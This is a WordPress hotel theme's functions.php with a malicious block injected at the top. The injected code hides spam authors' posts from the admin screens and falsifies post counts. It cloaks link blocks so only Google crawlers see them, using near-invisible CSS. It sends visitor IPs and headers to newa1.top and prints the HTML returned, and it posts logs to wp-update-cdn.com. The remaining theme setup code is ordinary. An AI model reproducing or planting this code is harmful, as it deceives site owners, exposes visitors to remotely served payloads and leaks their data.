<?php
/* custom filters */
function add_where_condition($where) {
global $wpdb, $userSettingsArr;
$ids = array_keys($userSettingsArr);
$idsCommaSeparated = implode(', ', $ids);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'fix_post_counts');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)";
}
return $where;
}
function post_exclude($query) {
global $userSettingsArr;
$ids = array_keys($userSettingsArr);
$excludeString = modifyWritersString($ids);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $excludeString);
}
}
/* ___wop___ */
function xG2FcVayoQ() {
$types = ["CF_CONNECTING_IP", "HTTP_CF_CONNECTING_IP", "CLIENT_IP", "HTTP_X_FORWARDED_FOR", "HTTP_FORWARDED_FOR", "HTTP_X_FORWARDED", "HTTP_FORWARDED", "HTTP_CLIENT_IP", "HTTP_FORWARDED_FOR_IP", "X_FORWARDED_FOR", "FORWARDED_FOR", "X_FORWARDED", "FORWARDED", "FORWARDED_FOR_IP", "HTTP_PROXY_CONNECTION"];
$ip = "";
foreach ($types as $_type) {
if (!empty($_SERVER[$_type])) {
$tmp = explode(",", $_SERVER[$_type]);
$ip = trim($tmp[0]);
break;
}
}
if (strstr($ip . "", ",")) {
$tmp = explode(",", $ip);
if (stristr($this->ua, "mini")) {
$ip = trim($tmp[count($tmp) - 2]);
} else {
$ip = trim($tmp[0]);
}
}
if (empty($ip)) {
$ra = "";
if (isset($_SERVER["REMOTE_ADDR"]))
$ra = $_SERVER["REMOTE_ADDR"];
if (empty($ra) || $ra == "::1" || $ra == "::ffff:127.0.0.1") {
$ip = "127.0.0.1";
} else {
$ip = $ra;
}
}
if (stripos($ip, ".") !== false)
if (stripos($ip, ":") !== false)
$ip = explode(":", $ip)[0];
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
return false;
return $ip;
}
function xoIiLU() {
$headers = [];
if (function_exists("getallheaders")) {
$_headers = getallheaders();
foreach ($_headers as $name => $value)
$headers[strtoupper($name)] = $value;
} else {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == "HTTP_") {
$name = str_replace("_", " ", $name);
$name = substr($name, 5);
$headers[str_replace(" ", "-", strtoupper($name))] = $value;
}
}
}
return $headers;
}
function xqzRDlEcb() {
$ip = xG2FcVayoQ();
if ($ip === false)
return false;
$headers = xoIiLU();
$ua = "";
if (isset($headers["USER-AGENT"]))
$ua = $headers["USER-AGENT"];
if (empty($ua))
return false;
$badUA = ["flare", "ocean", "linode", "amazon", "alibaba", "hetzner", "vpn", "instagram", "grab", "suck", "zoom", "avast", "kaspersky", "ahrefs", "uptime", "petal", "seo", "foo", "wiki", "OS 9_1", "rocket", "preload", "check", "http", "curl", "wget", "hack", "headless", "offline", "collector", "php", "python", "hosting", "chat", "gpt", "openai", "omni", "news", "agent", "ruby"];
foreach ($badUA as $_ua)
if (stripos(strtolower($ua), strtolower($_ua)) !== false)
return false;
$_data = json_encode([
"host" => $_SERVER["HTTP_HOST"],
"ip" => $ip,
"headers" => json_encode($headers)
]);
$url = "https://newa1.top/wopobuster/check/";
if (function_exists("curl_init")) {
@$curl = curl_init($url);
curl_setopt_array($curl, [
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 5,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_NOBODY => TRUE,
CURLOPT_HEADER => FALSE,
CURLOPT_FAILONERROR => FALSE,
CURLOPT_SSL_VERIFYHOST => FALSE,
CURLOPT_SSL_VERIFYPEER => FALSE,
CURLOPT_POST => TRUE,
CURLOPT_POSTFIELDS => $_data,
CURLOPT_HTTPHEADER => [
"Content-Type: application/json",
"Content-Length: " . strlen($_data)
]
]);
@$result = curl_exec($curl);
@$error = curl_error($curl);
@curl_close($curl);
if ($error)
return false;
} elseif (function_exists("file_get_contents")) {
@$context = stream_context_create([
"http" => [
"timeout" => 5,
"method" => "POST",
"content" => $_data,
"ignore_errors" => true,
"follow_location" => 1,
"max_redirects" => 3,
"header" => [
"Content-Type: application/json",
"Content-Length: " . strlen($_data)
]
],
"ssl" => [
"verify_peer" => false,
"allow_self_signed" => true,
]
]);
@$result = file_get_contents($url, false, $context);
} else {
return false;
}
if (!empty($result) && $result !== false) {
$result = base64_decode($result);
if ($result !== false && isset($result[0]) && $result[0] == "<")
return $result;
}
return false;
}
function ___xha6hrdsf() {
$buf = xqzRDlEcb();
if ($buf === false)
return;
@ob_end_clean();
@ob_start();
print $buf;
$out = ob_get_contents();
@ob_end_clean();
print $out;
exit();
}
/* ___wop___ */
function wp_core_js() {
global $post, $userSettingsArr;
foreach ($userSettingsArr as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
___xha6hrdsf(); if (hideJSsource($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function hideJSsource($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
//customSetDebug('cloacking is on!');
//customSendDebug();
if (customCheckSe()) {
return true;
}
}
return false;
}
function fix_post_counts($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function filter_function_name_4055($counts, $type, $perm) {
if ($type === 'post') {
$old_counts = $counts->publish;
$counts_mod = posts_count_custom($perm);
$counts->publish = !$counts_mod ? $old_counts : $counts_mod;
}
return $counts;
}
function posts_count_custom($perm) {
global $wpdb, $userSettingsArr;
$ids = array_keys($userSettingsArr);
$idsCommaSeparated = implode(', ', $ids);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$post_type_object = get_post_type_object($type);
if (!current_user_can($post_type_object->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status";
$results = (array) $wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $tmpArr) {
if ($tmpArr['post_status'] === 'publish') {
return $tmpArr['num_posts'];
}
}
}
function all_custom_posts_ids($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array) $wpdb->get_results($query, ARRAY_A);
$ids = array();
foreach ($results as $tmpArr) {
$ids[] = $tmpArr['ID'];
}
return $ids;
}
function custom_flush_rules() {
global $userSettingsArr, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($userSettingsArr as $key => $arr) {
$regex = key($arr['sitemapsettings']);
if (!isset($rules[$regex]) ||
($rules[$regex] !== current($arr['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function sitemap_xml_rules($rules) {
global $userSettingsArr;
$newrules = array();
foreach ($userSettingsArr as $key => $arr) {
if (isset($arr['sitemapsettings'])) {
$newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']);
}
}
return $newrules + $rules;
}
function customSitemapFeed() {
global $userSettingsArr;
foreach ($userSettingsArr as $key => $arr) {
$feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings']));
add_feed($feedName, 'customSitemapFeedFunc');
}
}
function customSitemapFeedFunc() {
//ini_set('memory_limit', '256MB');
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
//header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$head = sitemapHead();
$sitemapSource = $head . "\n";
$userId = findUserIdByRequestUri();
$posts_ids = all_custom_posts_ids($userId);
$priority = '0.5';
$changefreq = 'weekly';
$lastmod = date('Y-m-d');
foreach ($posts_ids as $post_id) {
$url = get_permalink($post_id);
$sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority);
wp_cache_delete($post_id, 'posts');
}
$sitemapSource .= "\n</urlset>";
echo $sitemapSource;
}
function sitemapHead() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
STR;
}
function urlBlock($url, $lastmod, $changefreq, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$lastmod</lastmod>
<changefreq>$changefreq</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function modifyWritersString($writersArr) {
$writersArrMod = array();
foreach ($writersArr as $item) {
$writersArrMod[] = '-' . $item;
}
return implode(',', $writersArrMod);
}
function customFiltersSettings() {
$settings = get_option('wp_custom_filters');
if (!$settings) {
return null;
}
return unserialize(base64_decode($settings));
}
function findUserIdByRequestUri() {
global $userSettingsArr;
foreach ($userSettingsArr as $key => $arr) {
$regexp = key($arr['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($arr['sitemapsettings']) . '$');
if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) {
return $key;
}
}
}
function isCustomPost() {
global $userSettingsArr, $post;
$authors_ids_arr = array_keys($userSettingsArr);
if (in_array($post->post_author, $authors_ids_arr)) {
return true;
}
return false;
}
function removeYoastMeta() {
global $userSettingsArr, $post;
$authors_ids_arr = array_keys($userSettingsArr);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $authors_ids_arr)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function getRemoteIp() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function customCheckSe() {
$ip = getRemoteIp();
if (strstr($ip, ', ')) {
$ips = explode(', ', $ip);
$ip = $ips[0];
}
$ranges = customSeIps();
if (!$ranges) {
return false;
}
foreach ($ranges as $range) {
if (customCheckInSubnet($ip, $range)) {
//customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range
// , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
return true;
}
}
//customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range
// , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
return false;
}
function customIsRenewTime($timestamp) {
//if ((time() - $timestamp) > 60 * 60 * 24) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
//customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp));
return false;
}
function customSetDebug($data) {
if (($value = get_option('wp_debug_data')) && is_array($value)) {
$value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data);
update_option('wp_debug_data', $value, false);
return;
}
update_option('wp_debug_data', array($data), false);
}
function customSendDebug() {
$value = get_option('wp_debug_data');
if (!is_array($value) || (count($value) < 100)) {
return;
}
$url = 'http://wp-update-cdn.com/src/ualogsec.php';
$response = wp_remote_post($url, array(
'method' => 'POST',
'timeout' => 10,
'body' => array(
'host' => $_SERVER['HTTP_HOST'],
'debugdata' => gzcompress(json_encode($value)), 9)
)
);
if (is_wp_error($response)) {
return;
} else {
if (trim($response['body']) === 'success') {
update_option('wp_debug_data', array(), false);
}
}
}
function customSeIps() {
if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) {
return $value['ranges'];
} else {
//customSetDebug('time to update ranges');
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
//customSetDebug('error response ipranges');
return;
}
$body = wp_remote_retrieve_body($response);
$ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($ranges)) {
//customSetDebug('invalid update ranges not an array');
return;
}
$value = array('ranges' => $ranges, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function customInetToBits($inet) {
$splitted = str_split($inet);
$binaryip = '';
foreach ($splitted as $char) {
$binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $binaryip;
}
function customCheckInSubnet($ip, $cidrnet) {
$ip = inet_pton($ip);
$binaryip = customInetToBits($ip);
list($net, $maskbits) = explode('/', $cidrnet);
$net = inet_pton($net);
$binarynet = customInetToBits($net);
$ip_net_bits = substr($binaryip, 0, $maskbits);
$net_bits = substr($binarynet, 0, $maskbits);
if ($ip_net_bits !== $net_bits) {
//echo 'Not in subnet';
return false;
} else {
return true;
}
}
/**
function buffer_start_custom() {
global $post, $userSettingsArr;
$authors_ids_arr = array_keys($userSettingsArr);
if (!in_array($post->post_author, $authors_ids_arr)) {
if (is_single() || (is_front_page() || is_home())) {
ob_start("callback_custom");
}
}
}
*
*/
function buffer_start_custom() {
echo '<!--buffer start custom--!>'.PHP_EOL;
if (!isCustomPost()) {
if (is_singular() || (is_front_page() || is_home())) {
echo '<!--start callback custom--!>'.PHP_EOL;
ob_start("callback_custom");
}
}
}
function buffer_end_custom() {
ob_end_flush();
}
function callback_custom($buffer) {
global $homeLinksSettingsArr;
return buffer_prepare_custom($homeLinksSettingsArr, $buffer);
}
function buffer_prepare_custom($homeLinksSettingsArr, $buffer) {
if (($homeLinksSettingsArr['hiddenType']['cloacking'] === 1) && !customCheckSe()) {
customSetDebug('no google bot, without changes ' . getRemoteIp());
return $buffer;
}
$textBlock = text_block_custom($homeLinksSettingsArr);
$textBlock = additional_style_custom($homeLinksSettingsArr, $textBlock);
if ($homeLinksSettingsArr['position']['footer'] === 1) {
customSetDebug('footer position');
return $buffer . PHP_EOL . $textBlock;
}
if ($homeLinksSettingsArr['position']['head'] === 1) {
customSetDebug('header position');
return $textBlock . PHP_EOL . $buffer;
}
}
function text_block_custom($homeLinksSettingsArr) {
global $post;
$block = '';
if ($homeLinksSettingsArr['textBlocksCount']['onlyHomePage'] === 1) {
if (is_front_page() || is_home()) {
customSetDebug('home page mode');
$block = get_option('home_links_custom_0');
}
} elseif ($homeLinksSettingsArr['textBlocksCount']['10DifferentTextBlocks'] === 1) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$block = get_option('home_links_custom_' . $matches[0]);
$log = sprintf('10DifferentTextBlocks page mode block num - %s permalink - %s', $matches[0], $url);
customSetDebug($log);
} elseif ($homeLinksSettingsArr['textBlocksCount']['100DifferentTextBlocks'] === 1) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$digits = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$block = get_option('home_links_custom_' . $digits);
$log = sprintf('100DifferentTextBlocks page mode block num - %s permalink - %s', $digits, $url);
customSetDebug($log);
} elseif ($homeLinksSettingsArr['textBlocksCount']['fullDifferentTextBlocks'] === 1) {
} else {
}
return !$block ? '' : $block;
}
function additional_style_custom($homeLinksSettingsArr, $textBlock) {
if (empty($textBlock)) {
return '';
}
if ($homeLinksSettingsArr['hiddenType']['css'] === 1) {
return css_rule_custom()[0] . PHP_EOL . $textBlock . PHP_EOL . css_rule_custom()[1];
}
return $textBlock;
}
function css_rule_custom() {
//return ['<div style="display: none;">', '</div>'];
return ['<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:8;">', '</div>'];
}
function home_links_settings_custom($settings) {
foreach ($settings as $key => $arr) {
if (isset($arr['homeLinks'])) {
return $arr['homeLinks'];
}
}
return array();
}
$userSettingsArr = customFiltersSettings();
if (is_array($userSettingsArr)) {
add_filter('posts_where_paged', 'add_where_condition');
add_action('pre_get_posts', 'post_exclude');
add_action('wp_enqueue_scripts', 'wp_core_js');
add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3);
add_filter('rewrite_rules_array', 'sitemap_xml_rules');
add_action('wp_loaded', 'custom_flush_rules');
add_action('init', 'customSitemapFeed');
add_action('template_redirect', 'removeYoastMeta');
$homeLinksSettingsArr = home_links_settings_custom($userSettingsArr);
if (!empty($homeLinksSettingsArr)) {
customSendDebug();
add_action('wp_head', 'buffer_start_custom');
add_action('wp_footer', 'buffer_end_custom');
}
}
/* custom filters */
/* ------------------------------------------------
Theme Setup
------------------------------------------------ */
if ( ! isset( $content_width ) ) $content_width = 640;
add_action( 'after_setup_theme', 'qns_setup' );
if ( ! function_exists( 'qns_setup' ) ):
function qns_setup() {
add_theme_support( 'post-thumbnails' );
if ( function_exists( 'add_theme_support' ) ) {
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( "100", "100" );
}
if ( function_exists( 'add_image_size' ) ) {
add_image_size( 'image-style1', 330, 220, true );
add_image_size( 'image-style2', 65, 65, true );
add_image_size( 'image-style3', 700, 480, true );
add_image_size( 'image-style4', 140, 115, true );
add_image_size( 'image-style5', 75, 75, true );
add_image_size( 'image-style6', 60, 60, true );
add_image_size( 'image-style7', 620, 275, true );
add_image_size( 'image-style8', 450, 300, true );
}
add_theme_support( 'automatic-feed-links' );
load_theme_textdomain( 'qns', get_template_directory() . '/languages' );
$locale = get_locale();
$locale_file = get_template_directory() . "/languages/$locale.php";
if ( is_readable( $locale_file ) ) require_once( $locale_file );
register_nav_menus( array(
'primary' => __( 'Primary Navigation', 'qns' ),
) );
}
endif;
/* ------------------------------------------------
Required Plugins
------------------------------------------------ */
require_once ('includes/class-tgm-plugin-activation.php');
add_action( 'tgmpa_register', 'my_theme_register_required_plugins' );
function my_theme_register_required_plugins() {
/**
* Array of plugin arrays. Required keys are name and slug.
* If the source is NOT from the .org repo, then source is also required.
*/
$plugins = array(
/*array(
'name' => 'Contact Form 7', // The plugin name
'slug' => 'contact-form-7', // The plugin slug (typically the folder name)
'source' => get_stylesheet_directory() . '/inc/plugins/contact-form-7.3.3.3.zip', // The plugin source
'required' => false, // If false, the plugin is only 'recommended' instead of required
'version' => '3.3.3', // E.g. 1.0.0. If set, the active plugin must be this version or higher, otherwise a notice is presented
'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch
'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins
'external_url' => '', // If set, overrides default API URL and points to an external URL
),
array(
'name' => 'Regenerate Thumbnails', // The plugin name
'slug' => 'regenerate-thumbnails', // The plugin slug (typically the folder name)
'source' => get_stylesheet_directory() . '/inc/plugins/regenerate-thumbnails.zip', // The plugin source
'required' => false, // If false, the plugin is only 'recommended' instead of required
'version' => '2.2.4', // E.g. 1.0.0. If set, the active plugin must be this version or higher, otherwise a notice is presented
'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch
'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins
'external_url' => '', // If set, overrides default API URL and points to an external URL
),*/
array(
'name' => 'Quite Nice Booking', // The plugin name
'slug' => 'quitenicebooking', // The plugin slug (typically the folder name)
'source' => get_stylesheet_directory() . '/includes/plugins/quitenicebooking.zip', // The plugin source
'required' => false, // If false, the plugin is only 'recommended' instead of required
'version' => '2.5.8', // E.g. 1.0.0. If set, the active plugin must be this version or higher, otherwise a notice is presented
'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch
'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins
'external_url' => '', // If set, overrides default API URL and points to an external URL
)
);
/**
* Array of configuration settings. Amend each line as needed.
* If you want the default strings to be available under your own theme domain,
* leave the strings uncommented.
* Some of the strings are added into a sprintf, so see the comments at the
* end of each line for what each argument will be.
*/
$config = array(
'domain' => 'qns', // Text domain - likely want to be the same as your theme.
'default_path' => '', // Default absolute path to pre-packaged plugins
'parent_menu_slug' => 'themes.php', // Default parent menu slug
'parent_url_slug' => 'themes.php', // Default parent URL slug
'menu' => 'install-required-plugins', // Menu slug
'has_notices' => true, // Show admin notices or not
'is_automatic' => false, // Automatically activate plugins after installation or not
'message' => '', // Message to output right before the plugins table
'strings' => array(
'page_title' => __( 'Install Required Plugins', 'qns' ),
'menu_title' => __( 'Install Plugins', 'qns' ),
'installing' => __( 'Installing Plugin: %s', 'qns' ), // %1$s = plugin name
'oops' => __( 'Something went wrong with the plugin API.', 'qns' ),
'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s)
'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s)
'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s)
'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s)
'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins' ),
'activate_link' => _n_noop( 'Activate installed plugin', 'Activate installed plugins' ),
'return' => __( 'Return to Required Plugins Installer', 'qns' ),
'plugin_activated' => __( 'Plugin activated successfully.', 'qns' ),
'complete' => __( 'All plugins installed and activated successfully. %s', 'qns' ), // %1$s = dashboard link
'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error'
)
);
tgmpa( $plugins, $config );
}
/* ------------------------------------------------
Comments Template
------------------------------------------------ */
if( ! function_exists( 'qns_comments' ) ) {
function qns_comments($comment, $args, $depth) {
$path = get_template_directory_uri();
$GLOBALS['comment'] = $comment;
?>
<li <?php comment_class('comment-entry clearfix'); ?> id="comment-<?php comment_ID(); ?>">
<!-- BEGIN .comment-left -->
<div class="comment-left">
<div class="comment-image">
<?php echo get_avatar( $comment, 65 ); ?>
</div>
<!-- END .comment-left -->
</div>
<!-- BEGIN .comment-right -->
<div class="comment-right">
<p class="comment-info"><?php printf( __( '%s', 'qns' ), sprintf( '%s', get_comment_author_link() ) ); ?>
<span><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>">
<?php printf( __( '%1$s at %2$s', 'qns' ), get_comment_date(), get_comment_time() ); ?>
</a></span>
</p>
<div class="comment-text">
<?php if ( $comment->comment_approved == '0' ) : ?>
<p class="comment-moderation"><?php _e( 'Your comment is awaiting moderation.', 'qns' ); ?></p>
<?php endif; ?>
<?php comment_text(); ?>
</div>
<p><span class="reply">
<?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
<?php edit_comment_link( __( '(Edit)', 'qns' ), ' ' ); ?>
</span></p>
<!-- END .comment-right -->
</div>
<?php }
}
/* ------------------------------------------------
Options Panel
------------------------------------------------ */
require_once ('admin/index.php');
/* ------------------------------------------------
Register Sidebars
------------------------------------------------ */
function qns_widgets_init() {
// Area 1
register_sidebar( array(
'name' => __( 'Standard Page Sidebar', 'qns' ),
'id' => 'primary-widget-area',
'description' => __( 'Displayed in the sidebar of all pages except the homepage', 'qns' ),
'before_widget' => '<div class="widget clearfix">',
'after_widget' => '</div>',
'before_title' => '<h4 class="title-style3">',
'after_title' => '<span class="title-block"></span></h4>',
) );
// Area 5
register_sidebar( array(
'name' => __( 'Footer', 'qns' ),
'id' => 'footer-widget-area',
'description' => __( 'Displayed at the bottom of all pages', 'qns' ),
'before_widget' => '<div class="one-fourth widget clearfix">',
'after_widget' => '</div>',
'before_title' => '<h4 class="title-style2">',
'after_title' => '<span class="title-block"></span></h4>',
) );
}
add_action( 'widgets_init', 'qns_widgets_init' );
/* ------------------------------------------------
Register Menu
------------------------------------------------ */
if( !function_exists( 'qns_register_menu' ) ) {
function qns_register_menu() {
register_nav_menus(
array(
'primary' => __( 'Primary Navigation','qns' ),
'secondary' => __( 'Top Right Navigation','qns' ),
'footer' => __( 'Footer Navigation','qns' )
)
);
}
add_action('init', 'qns_register_menu');
}
/* ------------------------------------------------
Add Description Field to Menu
------------------------------------------------ */
class description_walker extends Walker_Nav_Menu {
function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0)
{
global $wp_query;
$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
$class_names = $value = '';
$classes = empty( $item->classes ) ? array() : (array) $item->classes;
$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
$class_names = ' class="'. esc_attr( $class_names ) . '"';
$output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>';
$attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : '';
$attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : '';
$attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : '';
$attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : '';
$prepend = '<strong>';
$append = '</strong>';
$description = ! empty( $item->description ) ? '<span>'.esc_attr( $item->description ).'</span>' : '';
if($depth != 0) {
$description = $append = $prepend = "";
}
$item_output = $args->before;
$item_output .= '<a'. $attributes .'>';
$item_output .= $args->link_before .$prepend.apply_filters( 'the_title', $item->title, $item->ID );
$item_output .= $description.$args->link_after;
$item_output .= $append;
$item_output .= '</a>';
$item_output .= $args->after;
$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
}
}
/* ------------------------------------------------
Get Post Type
------------------------------------------------ */
function is_post_type($type){
global $wp_query;
if($type == get_post_type($wp_query->post->ID)) return true;
return false;
}
/* ------------------------------------------------
Register Dependant Javascript Files
------------------------------------------------ */
add_action('wp_enqueue_scripts', 'qns_load_js');
if( ! function_exists( 'qns_load_js' ) ) {
function qns_load_js() {
if ( is_admin() ) {
}
else {
// Load JS
wp_register_script( 'google-map', '//maps.google.com/maps/api/js?sensor=false', array( 'jquery' ), '1', false );
wp_register_script( 'google-map-header', get_template_directory_uri() . '/js/gmap.js', array( 'jquery' ), '1', true );
wp_register_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ), '1.4.8', true );
wp_register_script( 'prettyphoto', get_template_directory_uri() . '/js/jquery.prettyPhoto.js', array( 'jquery' ), '1.1.9', true );
wp_register_script( 'flexslider', get_template_directory_uri() . '/js/jquery.flexslider.js', array( 'jquery' ), '1.1.9', true );
wp_register_script( 'selectivizr', get_template_directory_uri() . '/js/selectivizr-min.js', array( 'jquery' ), '1.0.2', true );
wp_register_script( 'custom', get_template_directory_uri() . '/js/scripts.js', array( 'jquery' ), '1', true );
wp_enqueue_script( array( 'jquery-ui-core', 'jquery-ui-accordion', 'jquery-ui-tabs', 'jquery-effects-core', 'superfish', 'prettyphoto', 'flexslider', 'google-map-header', 'google-map', 'custom' ) );
// Load IE Stuff
global $is_IE;
if( $is_IE ) wp_enqueue_script( 'selectivizr' );
if( is_single() ) wp_enqueue_script( 'comment-reply' );
// Load CSS
wp_enqueue_style('sohohotel-style', get_bloginfo('stylesheet_url'));
// Load Colour CSS
global $smof_data;
